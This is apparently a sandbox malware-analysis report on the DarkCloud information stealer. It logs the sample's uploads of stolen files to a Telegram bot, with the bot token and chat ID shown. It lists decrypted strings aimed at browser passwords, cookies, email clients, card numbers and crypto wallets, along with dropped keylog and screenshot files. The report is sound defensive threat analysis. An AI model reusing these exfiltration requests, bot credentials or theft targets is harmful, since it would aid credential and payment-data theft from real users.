Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 568Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 601Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: showip.net
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: wMy37vlfvz.exe	String decryptor: Cookies
Source: wMy37vlfvz.exe	String decryptor: ^(0x){1}[0-9a-fA-F]{40}$
Source: wMy37vlfvz.exe	String decryptor: ^([13][a-km-zA-HJ-NP-Z1-9]{25,34})\|^((bitcoincash:)?(q\|p)[a-z0-9]{41})\|^((BITCOINCASH:)?(Q\|P)[A-Z0-9]{41})$
Source: wMy37vlfvz.exe	String decryptor: ^([r])([1-9A-HJ-NP-Za-km-z]{24,34})$
Source: wMy37vlfvz.exe	String decryptor: ^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$
Source: wMy37vlfvz.exe	String decryptor: ^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$
Source: wMy37vlfvz.exe	String decryptor: ^G[ABCDEFGHIJKLMNOPQRSTUVWXYZ234567]{55}$
Source: wMy37vlfvz.exe	String decryptor: \Default\Login Data
Source: wMy37vlfvz.exe	String decryptor: \Login Data
Source: wMy37vlfvz.exe	String decryptor: //setting[@name='Password']/value
Source: wMy37vlfvz.exe	String decryptor: Password :
Source: wMy37vlfvz.exe	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: wMy37vlfvz.exe	String decryptor: Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
Source: wMy37vlfvz.exe	String decryptor: Software\Martin Prikryl\WinSCP 2\Sessions
Source: wMy37vlfvz.exe	String decryptor: SMTP Email Address
Source: wMy37vlfvz.exe	String decryptor: NNTP Email Address
Source: wMy37vlfvz.exe	String decryptor: Email
Source: wMy37vlfvz.exe	String decryptor: HTTPMail User Name
Source: wMy37vlfvz.exe	String decryptor: HTTPMail Server
Source: wMy37vlfvz.exe	String decryptor: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$
Source: wMy37vlfvz.exe	String decryptor: Password
Source: wMy37vlfvz.exe	String decryptor: ^(?!:\/\/)([a-zA-Z0-9-_]+\.)[a-zA-Z0-9][a-zA-Z0-9-_]+\.[a-zA-Z]{2,11}?$
Source: wMy37vlfvz.exe	String decryptor: Foxmail.exe
Source: wMy37vlfvz.exe	String decryptor: ^3[47][0-9]{13}$
Source: wMy37vlfvz.exe	String decryptor: ^(6541\|6556)[0-9]{12}$
Source: wMy37vlfvz.exe	String decryptor: ^389[0-9]{11}$
Source: wMy37vlfvz.exe	String decryptor: ^3(?:0[0-5]\|[68][0-9])[0-9]{11}$
Source: wMy37vlfvz.exe	String decryptor: ^63[7-9][0-9]{13}$
Source: wMy37vlfvz.exe	String decryptor: ^(?:2131\|1800\|35\\d{3})\\d{11}$
Source: wMy37vlfvz.exe	String decryptor: ^9[0-9]{15}$
Source: wMy37vlfvz.exe	String decryptor: ^(6304\|6706\|6709\|6771)[0-9]{12,15}$
Source: wMy37vlfvz.exe	String decryptor: ^(5018\|5020\|5038\|6304\|6759\|6761\|6763)[0-9]{8,15}$
Source: wMy37vlfvz.exe	String decryptor: Mastercard
Source: wMy37vlfvz.exe	String decryptor: ^(6334\|6767)[0-9]{12}\|(6334\|6767)[0-9]{14}\|(6334\|6767)[0-9]{15}$
Source: wMy37vlfvz.exe	String decryptor: ^(4903\|4905\|4911\|4936\|6333\|6759)[0-9]{12}\|(4903\|4905\|4911\|4936\|6333\|6759)[0-9]{14}\|(4903\|4905\|4911\|4936\|6333\|6759)[0-9]{15}\|564182[0-9]{10}\|564182[0-9]{12}\|564182[0-9]{13}\|633110[0-9]{10}\|633110[0-9]{12}\|633110[0-9]{13}$
Source: wMy37vlfvz.exe	String decryptor: ^(62[0-9]{14,17})$
Source: wMy37vlfvz.exe	String decryptor: Visa Card
Source: wMy37vlfvz.exe	String decryptor: ^(?:4[0-9]{12}(?:[0-9]{3})?\|5[1-5][0-9]{14})$
Source: wMy37vlfvz.exe	String decryptor: Visa Master Card
Source: wMy37vlfvz.exe	String decryptor: \signons.sqlite
Source: wMy37vlfvz.exe	String decryptor: \logins.json
Source: wMy37vlfvz.exe	String decryptor: mail\
Source: wMy37vlfvz.exe	String decryptor: \Accounts\Account.rec0
Source: wMy37vlfvz.exe	String decryptor: \AccCfg\Accounts.tdat
Source: wMy37vlfvz.exe	String decryptor: EnableSignature
Source: wMy37vlfvz.exe	String decryptor: Application : FoxMail
Source: wMy37vlfvz.exe	String decryptor: encryptedUsername
Source: wMy37vlfvz.exe	String decryptor: logins
Source: wMy37vlfvz.exe	String decryptor: encryptedPassword
Source: wMy37vlfvz.exe	String decryptor: \Cookies
Source: wMy37vlfvz.exe	String decryptor: \Default\Cookies
Source: wMy37vlfvz.exe	String decryptor: \cookies.sqlite
Source: wMy37vlfvz.exe	String decryptor: \cookies.db

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report wMy37vlfvz.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DarkCloud

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataKatNRXIK.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataQBoKXMWe.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataUNbfPUtV.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataXAbtkbVC.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataaUlOfcDD.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDatafTuSdKgn.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDatakmrNhWWq.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\LogqueintiseRngmeEXkkcAcRDShRzsDXooICEfirelit

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotBdeCmQqG.BMP

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotJLHoSyQF.BMP

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotLUqCdZXp.BMP

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotYeSKsJYU.BMP

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotgXnrOxCu.BMP

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotqInhbHmB.BMP

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotqxCnRKHO.BMP

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotyaJwAjQs.BMP

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\WebData

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\cookies.db

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\cookies.db-shm

Windows Analysis Report
wMy37vlfvz.exe